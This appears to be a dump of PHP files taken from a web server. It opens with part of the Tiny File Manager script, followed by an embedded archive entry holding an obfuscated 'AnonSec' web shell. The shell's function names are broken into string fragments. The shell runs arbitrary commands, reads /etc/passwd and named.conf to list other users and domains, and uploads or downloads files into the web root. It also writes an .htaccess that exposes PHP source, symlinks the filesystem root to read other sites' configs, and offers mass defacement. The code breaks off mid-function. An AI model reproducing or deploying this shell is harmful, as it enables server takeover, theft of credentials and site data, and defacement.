$fileTypes['jpeg'] = 'image/jpg'; $fileTypes['jpg'] = 'image/jpg'; $fileTypes['webp'] = 'image/webp'; $fileTypes['avif'] = 'image/avif'; $fileTypes['rar'] = 'application/rar'; $fileTypes['ra'] = 'audio/x-pn-realaudio'; $fileTypes['ram'] = 'audio/x-pn-realaudio'; $fileTypes['ogg'] = 'audio/x-pn-realaudio'; $fileTypes['wav'] = 'video/x-msvideo'; $fileTypes['wmv'] = 'video/x-msvideo'; $fileTypes['avi'] = 'video/x-msvideo'; $fileTypes['asf'] = 'video/x-msvideo'; $fileTypes['divx'] = 'video/x-msvideo'; $fileTypes['mp3'] = 'audio/mpeg'; $fileTypes['mp4'] = 'audio/mpeg'; $fileTypes['mpeg'] = 'video/mpeg'; $fileTypes['mpg'] = 'video/mpeg'; $fileTypes['mpe'] = 'video/mpeg'; $fileTypes['mov'] = 'video/quicktime'; $fileTypes['swf'] = 'video/quicktime'; $fileTypes['3gp'] = 'video/quicktime'; $fileTypes['m4a'] = 'video/quicktime'; $fileTypes['aac'] = 'video/quicktime'; $fileTypes['m3u'] = 'video/quicktime'; $fileTypes['php'] = ['application/x-php']; $fileTypes['html'] = ['text/html']; $fileTypes['txt'] = ['text/plain']; //Unknown mime-types should be 'application/octet-stream' if (empty($fileTypes[$extension])) { $fileTypes[$extension] = ['application/octet-stream']; } return $fileTypes[$extension]; } /** * This function scans the files and folder recursively, and return matching files * @param string $dir * @param string $filter * @return array|null */ function scan($dir = '', $filter = '') { $path = FM_ROOT_PATH . '/' . $dir; if ($path) { $ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path)); $rii = new RegexIterator($ite, "/(" . $filter . ")/i"); $files = array(); foreach ($rii as $file) { if (!$file->isDir()) { $fileName = $file->getFilename(); $location = str_replace(FM_ROOT_PATH, '', $file->getPath()); $files[] = array( "name" => $fileName, "type" => "file", "path" => $location, ); } } return $files; } } /** * Parameters: downloadFile(File Location, File Name, * max speed, is streaming * If streaming - videos will show as videos, images as images * instead of download prompt * https://stackoverflow.com/a/13821992/1164642 */ function fm_download_file($fileLocation, $fileName, $chunkSize = 1024) { if (connection_status() != 0) return (false); $extension = pathinfo($fileName, PATHINFO_EXTENSION); $contentType = fm_get_file_mimes($extension); if (is_array($contentType)) { $contentType = implode(' ', $contentType); } $size = filesize($fileLocation); if ($size == 0) { fm_set_msg(lng('Zero byte file! Aborting download'), 'error'); $FM_PATH = FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); return (false); } @ini_set('magic_quotes_runtime', 0); $fp = fopen("$fileLocation", "rb"); if ($fp === false) { fm_set_msg(lng('Cannot open file! Aborting download'), 'error'); $FM_PATH = FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); return (false); } // headers header('Content-Description: File Transfer'); header('Expires: 0'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Pragma: public'); header("Content-Transfer-Encoding: binary"); header("Content-Type: $contentType"); $contentDisposition = 'attachment'; if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) { $fileName = preg_replace('/\./', '%2e', $fileName, substr_count($fileName, '.') - 1); header("Content-Disposition: $contentDisposition;filename=\"$fileName\""); } else { header("Content-Disposition: $contentDisposition;filename=\"$fileName\""); } header("Accept-Ranges: bytes"); $range = 0; if (isset($_SERVER['HTTP_RANGE'])) { list($a, $range) = explode("=", $_SERVER['HTTP_RANGE']); str_replace($range, "-", $range); $size2 = $size - 1; $new_length = $size - $range; header("HTTP/1.1 206 Partial Content"); header("Content-Length: $new_length"); header("Content-Range: bytes $range$size2/$size"); } else { $size2 = $size - 1; header("Content-Range: bytes 0-$size2/$size"); header("Content-Length: " . $size); } $fileLocation = realpath($fileLocation); while (ob_get_level()) ob_end_clean(); readfile($fileLocation); fclose($fp); return ((connection_status() == 0) and !connection_aborted()); } /** * Class to work with zip files (using ZipArchive) */ class FM_Zipper { private $zip; public function __construct() { $this->zip = new ZipArchive(); } /** * Create archive with name $filename and files $files (RELATIVE PATHS!) * @param string $filename * @param array|string $files * @return bool */ public function create($filename, $files) { $res = $this->zip->open($filename, ZipArchive::CREATE); if ($res !== true) { return false; } if (is_array($files)) { foreach ($files as $f) { $f = fm_clean_path($f); if (!$this->addFileOrDir($f)) { $this->zip->close(); return false; } } $this->zip->close(); return true; } else { if ($this->addFileOrDir($files)) { $this->zip->close(); return true; } return false; } } /** * Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS) * @param string $filename * @param string $path * @return bool */ public function unzip($filename, $path) { $res = $this->zip->open($filename); if ($res !== true) { return false; } if ($this->zip->extractTo($path)) { $this->zip->close(); return true; } return false; } /** * Add file/folder to archive * @param string $filename * @return bool */ private function addFileOrDir($filename) { if (is_file($filename)) { return $this->zip->addFile($filename); } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } /** * Add folder recursively * @param string $path * @return bool */ private function addDir($path) { if (!$this->zip->addEmptyDir($path)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { if (!$this->zip->addFile($path . '/' . $file)) { return false; } } } } return true; } return false; } } /** * Class to work with Tar files (using PharData) */ class FM_Zipper_Tar { private $tar; public function __construct() { $this->tar = null; } /** * Create archive with name $filename and files $files (RELATIVE PATHS!) * @param string $filename * @param array|string $files * @return bool */ public function create($filename, $files) { $this->tar = new PharData($filename); if (is_array($files)) { foreach ($files as $f) { $f = fm_clean_path($f); if (!$this->addFileOrDir($f)) { return false; } } return true; } else { if ($this->addFileOrDir($files)) { return true; } return false; } } /** * Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS) * @param string $filename * @param string $path * @return bool */ public function unzip($filename, $path) { $res = $this->tar->open($filename); if ($res !== true) { return false; } if ($this->tar->extractTo($path)) { return true; } return false; } /** * Add file/folder to archive * @param string $filename * @return bool */ private function addFileOrDir($filename) { if (is_file($filename)) { try { $this->tar->addFile($filename); return true; } catch (Exception $e) { return false; } } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } /** * Add folder recursively * @param string $path * @return bool */ private function addDir($path) { $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { try { $this->tar->addFile($path . '/' . $file); } catch (Exception $e) { return false; } } } } return true; } return false; } } /** * Save Configuration */ class FM_Config { var $data; function __construct() { global $root_path, $root_url, $CONFIG; $fm_url = $root_url . $_SERVER["PHP_SELF"]; $this->data = array( 'lang' => 'en', 'error_reporting' => true, 'show_hidden' => true ); $data = false; if (strlen($CONFIG)) { $data = fm_object_to_array(json_decode($CONFIG)); } else { $msg = 'Tiny File Manager
    Error: Cannot load configuration'; if (substr($fm_url, -1) == '/') { $fm_url = rtrim($fm_url, '/'); $msg .= '
    '; $msg .= '
    Seems like you have a trailing slash on the URL.'; $msg .= '
    Try this link: ' . $fm_url . ''; } die($msg); } if (is_array($data) && count($data)) $this->data = $data; else $this->save(); } function save() { global $config_file; $fm_file = is_readable($config_file) ? $config_file : __FILE__; $var_name = '$CONFIG'; $var_value = var_export(json_encode($this->data), true); $config_string = " ' . $_SESSION[FM_SESSION_ID]['message'] . '

    '; unset($_SESSION[FM_SESSION_ID]['message']); unset($_SESSION[FM_SESSION_ID]['status']); } } /** * Show page header in Login Form */ function fm_show_header_login() { header("Content-Type: text/html; charset=utf-8"); header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0"); header("Pragma: no-cache"); global $favicon_path; ?> "> '; } ?> <?php echo fm_enc(APP_TITLE) ?> ">
    '; } ?> <?php echo fm_enc(APP_TITLE) ?> | <?php echo (isset($_GET['view']) ? $_GET['view'] : ((isset($_GET['edit'])) ? $_GET['edit'] : "H3K")); ?> ">
    ubhjosey.php000064400000152540151546551050007123 0ustar00. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . An"."onS"."ec Sh"."el"."l"; ?>
    An'.'on'.'Se'.'c Sh'.'el'.'l
    '; set_time_limit(0); error_reporting(0); $gcw = "ge"."tc"."wd"; $exp = "ex"."plo"."de"; $fpt = "fi"."le_p"."ut_co"."nte"."nts"; $fgt = "f"."ile_g"."et_c"."onten"."ts"; $sts = "s"."trip"."slash"."es"; $scd = "sc"."a"."nd"."ir"; $fxt = "fi"."le_"."exis"."ts"; $idi = "i"."s_d"."ir"; $ulk = "un"."li"."nk"; $ifi = "i"."s_fi"."le"; $sub = "subs"."tr"; $spr = "sp"."ri"."ntf"; $fp = "fil"."epe"."rms"; $chm = "ch"."m"."od"; $ocd = "oc"."td"."ec"; $isw = "i"."s_wr"."itab"."le"; $idr = "i"."s_d"."ir"; $ird = "is"."_rea"."da"."ble"; $isr = "is_"."re"."adab"."le"; $fsz = "fi"."lesi"."ze"; $rd = "r"."ou"."nd"; $igt = "in"."i_g"."et"; $fnct = "fu"."nc"."tion"."_exi"."sts"; $rad = "RE"."M"."OTE_AD"."DR"; $rpt = "re"."al"."pa"."th"; $bsn = "ba"."se"."na"."me"; $srl = "st"."r_r"."ep"."la"."ce"; $sps = "st"."rp"."os"; $mkd = "m"."kd"."ir"; $pma = "pr"."eg_ma"."tch_"."al"."l"; $aru = "ar"."ray_un"."ique"; $ctn = "co"."unt"; $urd = "ur"."ldeco"."de"; $pgw = "pos"."ix_g"."etp"."wui"."d"; $fow = "fi"."leow"."ner"; $tch = "to"."uch"; $h2b = "he"."x2"."bin"; $hsc = "ht"."mlspe"."cialcha"."rs"; $ftm = "fi"."lemti"."me"; $ars = "ar"."ra"."y_sl"."ice"; $arr = "ar"."ray_"."ra"."nd"; $fgr = "fi"."legr"."oup"; $mdr = "mkd"."ir"; $wb = (isset($_SERVER['H'.'T'.'TP'.'S']) && $_SERVER['H'.'T'.'TP'.'S'] === 'o'.'n' ? "ht"."tp"."s" : "ht"."tp") . "://".$_SERVER['HT'.'TP'.'_H'.'OS'.'T']; $disfunc = @$igt("dis"."abl"."e_f"."unct"."ion"."s"); if (empty($disfunc)) { $disf = "NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

    An"."on"."7 - 2"."02"."2
    An"."on"."Se"."c Te"."am
    "; exit(); } function cdrd() { if (isset($_GET['loknya'])) { $lokasi = $_GET['loknya']; } else { $lokasi = "ge"."t"."cw"."d"; $lokasi = $lokasi(); } $b = "i"."s_w"."ri"."tab"."le"; if ($b($lokasi)) { return "Wr"."itea"."ble"; } else { return "Wr"."itea"."ble"; } } function crt() { $a = "is"."_w"."ri"."tab"."le"; if ($a($_SERVER['DO'.'CU'.'ME'.'NT'.'_RO'.'OT'])) { return "Wr"."itea"."ble"; } else { return "Wr"."itea"."ble"; } } function xrd($lokena) { $a = "s"."ca"."nd"."ir"; $items = $a($lokena); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $b = "is"."_di"."r"; $loknya = $lokena.'/'.$item; if ($b($loknya)) { xrd($loknya); } else { $c = "u"."nl"."in"."k"; $c($loknya); } } $d = "rm"."di"."r"; $d($lokena); } function cfn($fl) { $a = "ba"."sena"."me"; $b = "pat"."hinf"."o"; $c = $b($a($fl), PATHINFO_EXTENSION); if ($c == "zip") { return ''; } elseif (preg_match("/jpeg|jpg|png|ico/im", $c)) { return ''; } elseif ($c == "txt") { return ''; } elseif ($c == "pdf") { return ''; } elseif ($c == "html") { return ''; } else { return ''; } } function ipsrv() { $a = "g"."eth"."ost"."byna"."me"; $b = "fun"."cti"."on_"."exis"."ts"; $c = "S"."ERVE"."R_AD"."DR"; $d = "SE"."RV"."ER_N"."AM"."E"; if ($b($a)) { return $a($_SERVER[$d]); } else { return $a($_SERVER[$c]); } } function ggr($fl) { $a = "fun"."cti"."on_"."exis"."ts"; $b = "po"."si"."x_ge"."tgr"."gid"; $c = "fi"."le"."gro"."up"; if ($a($b)) { if (!$a($c)) { return "?"; } $d = $b($c($fl)); if (empty($d)) { $e = $c($fl); if (empty($e)) { return "?"; } else { return $e; } } else { return $d['name']; } } elseif ($a($c)) { return $c($fl); } else { return "?"; } } function gor($fl) { $a = "fun"."cti"."on_"."exis"."ts"; $b = "po"."s"."ix_"."get"."pwu"."id"; $c = "fi"."le"."o"."wn"."er"; if ($a($b)) { if (!$a($c)) { return "?"; } $d = $b($c($fl)); if (empty($d)) { $e = $c($fl); if (empty($e)) { return "?"; } else { return $e; } } else { return $d['name']; } } elseif ($a($c)) { return $c($fl); } else { return "?"; } } function fdt($fl) { $a = "da"."te"; $b = "fil"."emt"."ime"; return $a("F d Y H:i:s", $b($fl)); } function dunlut($fl) { $a = "fil"."e_exi"."sts"; $b = "ba"."sena"."me"; $c = "fi"."les"."ize"; $d = "re"."ad"."fi"."le"; if ($a($fl) && isset($fl)) { header('Con'.'tent-Descr'.'iption: Fi'.'le Tra'.'nsfer'); header("Conte'.'nt-Control:public"); header('Cont'.'ent-Type: a'.'pp'.'licat'.'ion/oc'.'tet-s'.'tream'); header('Cont'.'ent-Dis'.'posit'.'ion: at'.'tachm'.'ent; fi'.'lena'.'me="'.$b($fl).'"'); header('Exp'.'ires: 0'); header("Ex"."pired:0"); header('Cac'.'he-Cont'.'rol: must'.'-revali'.'date'); header("Cont"."ent-Tran"."sfer-Enc"."oding:bi"."nary"); header('Pra'.'gma: pub'.'lic'); header('Con'.'ten'.'t-Le'.'ngth: ' .$c($fl)); flush(); $d($fl); exit; } else { return "Fi"."le Not F"."ound !"; } } function komend($kom, $lk) { $x = "pr"."eg_"."mat"."ch"; $xx = "2".">"."&"."1"; if (!$x("/".$xx."/i", $kom)) { $kom = $kom." ".$xx; } $a = "fu"."ncti"."on_"."ex"."is"."ts"; $b = "p"."ro"."c_op"."en"; $c = "htm"."lspe"."cialc"."hars"; $d = "s"."trea"."m_g"."et_c"."ont"."ents"; if ($a($b)) { $ps = $b($kom, array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "r")), $meki, $lk); return "
    ".$c($d($meki[1]))."
    "; } else { return "pr"."oc"."_op"."en f"."unc"."tio"."n i"."s di"."sabl"."ed !"; } } function komenb($kom, $lk) { $x = "pr"."eg_"."mat"."ch"; $xx = "2".">"."&"."1"; if (!$x("/".$xx."/i", $kom)) { $kom = $kom." ".$xx; } $a = "fu"."ncti"."on_"."ex"."is"."ts"; $b = "p"."ro"."c_op"."en"; $c = "htm"."lspe"."cialc"."hars"; $d = "s"."trea"."m_g"."et_c"."ont"."ents"; if ($a($b)) { $ps = $b($kom, array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "r")), $meki, $lk); return $d($meki[1]); } else { return "pr"."oc"."_op"."en f"."unc"."tio"."n i"."s di"."sabl"."ed !"; } } function gtd() { $a = "is_rea"."dable";$b = "fi"."le_ge"."t_con"."ten"."ts"; $c = "pr"."eg_ma"."tch_"."al"."l";$d = "fil"."e_exi"."sts"; $e = "sca"."ndi"."r";$f = "co"."unt"; $g = "arr"."ay_un"."ique";$h = "sh"."el"."l_"."ex"."ec"; $i = "pr"."eg_"."mat"."ch"; if ($a("/e"."tc"."/na"."me"."d.co"."nf")) { $a = $b("/e"."tc"."/na"."me"."d.co"."nf"); $c("/\/v"."ar\/na"."me"."d\/(.*?)\.d"."b/i", $a, $b); $b = $b[1]; return $f($g($b))." Dom"."ains"; } elseif ($d("/va"."r/na"."med"."/na"."me"."d.lo"."cal")) { $a = $e("/v"."ar/"."nam"."ed"); return $f($a)." Dom"."ains"; } elseif ($a("/e"."tc"."/p"."as"."sw"."d")) { $a = $b("/e"."tc"."/p"."as"."sw"."d"); if ($i("/\/vh"."os"."ts\//i", $a) && $i("/\/bin\/false/i", $a)) { $c("/\/vh"."os"."ts\/(.*?):/i", $a, $b); $b = $b[1]; return $f($g($b))." Dom"."ai"."ns"; } else { $c("/\/ho"."me\/(.*?):/i", $a, $b); $b = $b[1]; return $f($g($b))." Dom"."ai"."ns"; } } elseif (!empty($h("ca"."t /e"."tc/"."pa"."ss"."wd"))) { $a = $h("ca"."t /e"."tc/"."pa"."ss"."wd"); if ($i("/\/vh"."os"."ts\//i", $a) && $i("/\/bin\/false/i", $a)) { $c("/\/vh"."os"."ts\/(.*?):/i", $a, $b); $b = $b[1]; return $f($g($b))." Dom"."ai"."ns"; } else { $c("/\/ho"."me\/(.*?):/i", $a, $b); $b = $b[1]; return $f($g($b))." Dom"."ai"."ns"; } } else { return "0 Domains"; } } function esyeem($tg, $lk) { $a = "fun"."cti"."on_e"."xis"."ts"; $b = "p"."ro"."c_op"."en"; $c = "htm"."lspe"."cialc"."hars"; $d = "s"."trea"."m_g"."et_c"."ont"."ents"; $e = "sy"."mli"."nk"; if ($a("sy"."mli"."nk")) { return $e($tg, $lk); } elseif ($a("pr"."oc_op"."en")) { $ps = $b("l"."n -"."s ".$tg." ".$lk, array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "r")), $meki, $lk); return $c($d($meki[1])); } else { return "Sy"."mli"."nk Fu"."nct"."ion is Di"."sab"."led !"; } } function sds($sads, &$results = array()) { $iwr = "is"."_wri"."tab"."le"; $ira = "is_r"."eada"."ble"; $ph = "pr"."eg_ma"."tch"; $sa = "sc"."and"."ir"; $rh = "re"."alp"."ath"; $idr = "i"."s_d"."ir"; if (!$ira($sads) || !$iwr($sads) || $ph("/\/app"."licat"."ion\/|\/sy"."st"."em/i", $sads)) { return false; } $files = $sa($sads); foreach ($files as $key => $value) { $path = $rh($sads . DIRECTORY_SEPARATOR . $value); if (!$idr($path)) { //$results[] = $path; } else if ($value != "." && $value != "..") { sds($path, $results); $results[] = $path; } } return $results; } function crul($web) { $cr = "cu"."rl_set"."opt"; $cx = "cu"."rl_"."ex"."ec"; $ch = "cu"."rl_clo"."se"; $ceha = curl_init(); $cr($ceha, CURLOPT_URL, $web); $cr($ceha, CURLOPT_RETURNTRANSFER, 1); return $cx($ceha); $ch($ceha); } function green($text) { echo "
    ".$text."
    "; } function red($text) { echo "
    ".$text."
    "; } function oren($text) { return "
    ".$text."
    "; } function tuls($nm, $lk) { return "[ ".$nm." ]     "; } echo "Se"."rv"."er"." I"."P : ".ipsrv()."  /  Yo"."ur I"."P : ".$_SERVER[$rad]."   [ Re"."ver"."se I"."P ]
    "; echo "We"."b S"."erv"."er : ".$_SERVER['SE'.'RV'.'ER_'.'SOF'.'TWA'.'RE']."
    "; $unm = "ph"."p_u"."na"."me"; echo "Sys"."tem : ".@$unm()."
    "; $gcu = "g"."et_"."curr"."ent"."_us"."er"; $gmu = "g"."et"."my"."ui"."d"; echo "Us"."er : ".@$gcu()." ( ".@$gmu().")
    "; $phv = "ph"."pve"."rsi"."on"; echo "PH"."P V"."er"."sio"."n : ".@$phv()."
    "; echo "Dis"."abl"."e Fu"."nct"."ion : ".$disf."
    "; echo "Dom"."ain"."s : ".(empty(gtd()) ? '0 Dom'.'ains' : gtd())."
    "; echo "MySQL : "; if (@$fnct("my"."sql_co"."nne"."ct")) { echo "ON"; } else { echo "OFF"; } echo "  |  cURL : "; if (@$fnct("cu"."rl"."_in"."it")) { echo "ON"; } else { echo "OFF"; } echo "  |  WG"."ET : "; if (@$fxt("/"."us"."r/b"."in/w"."get")) { echo "ON"; } else { echo "OFF"; } echo "  |  Pe"."rl : "; if (@$fxt("/u"."sr/b"."in"."/pe"."rl")) { echo "ON"; } else { echo "OFF"; } echo "  |  Pyt"."ho"."n : "; if (@$fxt("/"."us"."r/b"."in/p"."ytho"."n2")) { echo "ON"; } else { echo "OFF"; } echo "  |  S"."u"."do : "; if (@$fxt("/"."us"."r/b"."in/s"."u"."d"."o")) { echo "ON"; } else { echo "OFF"; } echo "  |  Pk"."e"."x"."e"."c : "; if (@$fxt("/"."us"."r/b"."in/p"."k"."e"."x"."e"."c")) { echo "ON"; } else { echo "OFF"; } echo "
    Di"."rect"."ory :  "; foreach($_POST as $key => $value){ $_POST[$key] = $sts($value); } if(isset($_GET['loknya'])){ $lokasi = $_GET['loknya']; $lokdua = $_GET['loknya']; } else { $lokasi = $gcw(); $lokdua = $gcw(); } $lokasi = $srl('\\','/',$lokasi); $lokasis = $exp('/',$lokasi); $lokasinya = @$scd($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '

    '; if (isset($_POST['upwkwk'])) { if (isset($_POST['berkasnya'])) { if ($_POST['di'.'rnya'] == "2") { $lokasi = $_SERVER['DOC'.'UME'.'NT_R'.'OOT']; } if (empty($_FILES['ber'.'kas']['name'])) { echo "Fi"."le not Se"."lected !

    "; } else { $tgn = $ftm($lokasi); $data = @$fpt($lokasi."/".$_FILES['ber'.'kas']['name'], @$fgt($_FILES['ber'.'kas']['tm'.'p_na'.'me'])); if ($fxt($lokasi."/".$_FILES['ber'.'kas']['name'])) { $fl = $lokasi."/".$_FILES['ber'.'kas']['name']; echo "Fi"."le Upl"."oa"."ded !  ".$fl."
    "; if ($sps($lokasi, $_SERVER['DO'.'CU'.'M'.'ENT'.'_R'.'OO'.'T']) !== false) { $lwb = $srl($_SERVER['DO'.'CU'.'M'.'ENT'.'_R'.'OO'.'T'], $wb."/", $fl); echo "Li"."nk : ".$lwb."
    "; } @$tch($lokasi, $tgn);@$tch($lokasi."/".$_FILES['ber'.'kas']['name'], $tgn); echo "
    "; } else { echo "Fa"."ile"."d to Up"."lo"."ad !

    "; } } } elseif (isset($_POST['linknya'])) { if (empty($_POST['namalink'])) { echo "Fi"."lename cannot be empty !

    "; } elseif (empty($_POST['darilink'])) { echo "Li"."nk cannot be empty !

    "; } else { if ($_POST['di'.'rnya'] == "2") { $lokasi = $_SERVER['DOC'.'UME'.'NT_R'.'OOT']; } $tgn = $ftm($lokasi); $data = @$fpt($lokasi."/".$_POST['namalink'], @$fgt($_POST['darilink'])); if ($fxt($lokasi."/".$_POST['namalink'])) { $fl = $lokasi."/".$_POST['namalink']; echo "Fi"."le Uplo"."ade"."d !  ".$fl."
    "; if ($sps($lokasi, $_SERVER['DO'.'CU'.'M'.'ENT'.'_R'.'OO'.'T']) !== false) { $lwb = $srl($_SERVER['DO'.'CU'.'M'.'ENT'.'_R'.'OO'.'T'], $wb."/", $fl); echo "Li"."nk : ".$lwb."
    "; } @$tch($lokasi, $tgn);@$tch($lokasi."/".$_POST['namalink'], $tgn); echo "
    "; } else { echo "Fa"."iled to Up"."lo"."ad !

    "; } } } } echo "Uplo"."ad Fi"."le : "; echo '
    cur'.'ren'.'t_di'.'r [ '.cdrd().' ] docu'.'men'.'t_ro'.'ot [ '.crt().' ]

     
    '; echo '
    Co'.'mm'.'an'.'d :
    '; echo "

    "; echo '
    '; echo tuls("HO"."ME", $_SERVER['SC'.'RIP'.'T_N'.'AME']); echo tuls("BA"."CKUP SH"."ELL", $_SERVER['SC'.'RIP'.'T_N'.'AME']."?loknya=".$lokasi."&opsi=bekup"); echo tuls("JU"."MP"."ING", $_SERVER['SC'.'RIP'.'T_N'.'AME']."?loknya=".$lokasi."&opsi=lompat"); echo tuls("MA"."SS DE"."FA"."CE", $_SERVER['SC'.'RIP'.'T_N'.'AME']."?loknya=".$lokasi."&opsi=mdf"); echo tuls("SC"."AN RO"."OT", $_SERVER['SC'.'RIP'.'T_N'.'AME']."?loknya=".$lokasi."&opsi=scanr"); echo tuls("SY"."ML"."INK", $_SERVER['SC'.'RIP'.'T_N'.'AME']."?loknya=".$lokasi."&opsi=esyeem"); echo "

    "; if (isset($_GET['loknya']) && $_GET['opsi'] == "lompat") { if ($ird("/e"."tc"."/p"."as"."sw"."d")) { $fjp = $fgt("/e"."tc"."/p"."as"."sw"."d"); } elseif (!empty(komenb("ca"."t /e"."tc/"."pa"."ss"."wd", $lokasi))) { $fjp = komenb("ca"."t /e"."tc/"."pa"."ss"."wd", $lokasi); } else { die(red("[!] Gagal Mengambil Di"."rect"."ory !")); } $pma("/\/ho"."me\/(.*?):/i", $fjp, $fjpr); $fjpr = $fjpr[1]; if (empty($fjpr)) { die(red("[!] Tidak Ada Us"."er di Temukan !")); } echo "Total Ada ".$ctn($aru($fjpr))." di"."rec"."to"."ry di Ser"."ver ".$_SERVER[$rad]."

    "; foreach ($aru($fjpr) as $fj) { $fjh = "/h"."om"."e/".$fj."/pu"."bl"."ic_h"."tml"; if ($ird("/e"."tc"."/na"."me"."d.co"."nf")) { $etn = $fgt("/e"."tc"."/na"."me"."d.co"."nf"); $pma("/\/v"."ar\/na"."me"."d\/(.*?)\.d"."b/i", $etn, $en); $en = $en[1]; if ($ird($fjh)) { echo "[Re"."ada"."ble] ".$fjh." => "; } else { echo "[Un"."rea"."dab"."le] ".$fjh." => "; } foreach ($aru($en) as $enw) { $asd = $pgw(@$fow("/e"."tc/"."val"."ias"."es/".$enw)); $asd = $asd['name']; if ($asd == $fj) { echo "".$enw.", "; } } echo "
    "; } else { if ($ird($fjh)) { echo "[Re"."ada"."ble] ".$fjh."
    "; } else { echo "[Un"."rea"."dab"."le] ".$fjh."
    "; } } } echo "
    "; die(author()); } elseif (isset($_GET['loknya']) && $_GET['opsi'] == "esyeem") { if ($ird("/e"."tc"."/p"."as"."sw"."d")) { $syp = $fgt("/e"."tc"."/p"."as"."sw"."d"); } elseif (!empty(komenb("ca"."t /e"."tc/"."pa"."ss"."wd", $lokasi))) { $syp = komenb("ca"."t /e"."tc/"."pa"."ss"."wd", $lokasi); } else { die(red("[!] Gagal Mengambil Di"."rec"."to"."ry !")); } if (!$fnct("sy"."mli"."nk")) { if (!$fnct("pr"."oc_"."op"."en")) { die(red("[!] Sy"."mli"."nk Fu"."nct"."ion is Di"."sabl"."ed !")); } } echo "
    [ GR"."AB CO"."NFIG ] - [ SY"."MLI"."NK FI"."LE ] - [ SY"."MLI"."NK VH"."OST ]
    "; if (isset($_GET['opsidua'])) { if ($_GET['opsidua'] == "gra"."bco"."nfig") { # code... } elseif ($_GET['opsidua'] == "s"."yfile") { echo "

    Opsi : Sy"."mli"."nk Fi"."le"; echo '
    File :
    '; if (isset($_POST['gaskeun'])) { $rend = rand().".txt"; $lokdi = $_POST['domena']; esyeem($lokdi, "an"."on_s"."ym/".$rend); echo '
    Cek : '.$rend."

    "; } } echo "
    "; die(author()); } $pma("/\/ho"."me\/(.*?):/i", $syp, $sypr); $sypr = $sypr[1]; if (empty($sypr)) { die(red("[!] Tidak Ada Us"."er di Temukan !")); } echo "Total Ada ".$ctn($aru($sypr))." Us"."er di Ser"."ver ".$_SERVER[$rad]."

    "; if (!$isw(getcwd())) { die(red("[!] Gagal Sy"."mli"."nk - Red D"."ir !")); } if (!$fxt("an"."on_"."sy"."m")) { $mdr("an"."on_"."sy"."m"); } if (!$fxt("an"."on_"."sy"."m/.ht"."acc"."ess")) { $fpt("an"."on_"."sy"."m/."."h"."ta"."cce"."ss", $urd("Opt"."ions%20In"."dexe"."s%20Fol"."lowSy"."mLi"."nks%0D%0ADi"."rect"."oryIn"."dex%20sss"."sss.htm%0D%0AAdd"."Type%20txt%20.ph"."p%0D%0AAd"."dHand"."ler%20txt%20.p"."hp")); } $ckn = esyeem("/", "an"."on_"."sy"."m/anon"); foreach ($aru($sypr) as $sj) { $sjh = "/h"."om"."e/".$sj."/pu"."bl"."ic_h"."tml"; $ygy = $srl($bsn($_SERVER['SC'.'RI'.'PT_NA'.'ME']), "an"."on_"."sy"."m/anon".$sjh, $_SERVER['SC'.'RI'.'PT_NA'.'ME']); if ($ird("/e"."tc"."/na"."me"."d.co"."nf")) { $etn = $fgt("/e"."tc"."/na"."me"."d.co"."nf"); $pma("/\/v"."ar\/na"."me"."d\/(.*?)\.d"."b/i", $etn, $en); $en = $en[1]; echo "[Sy"."mli"."nk] ".$sjh." => "; foreach ($aru($en) as $enw) { $asd = $pgw(@$fow("/e"."tc/"."val"."ias"."es/".$enw)); $asd = $asd['name']; 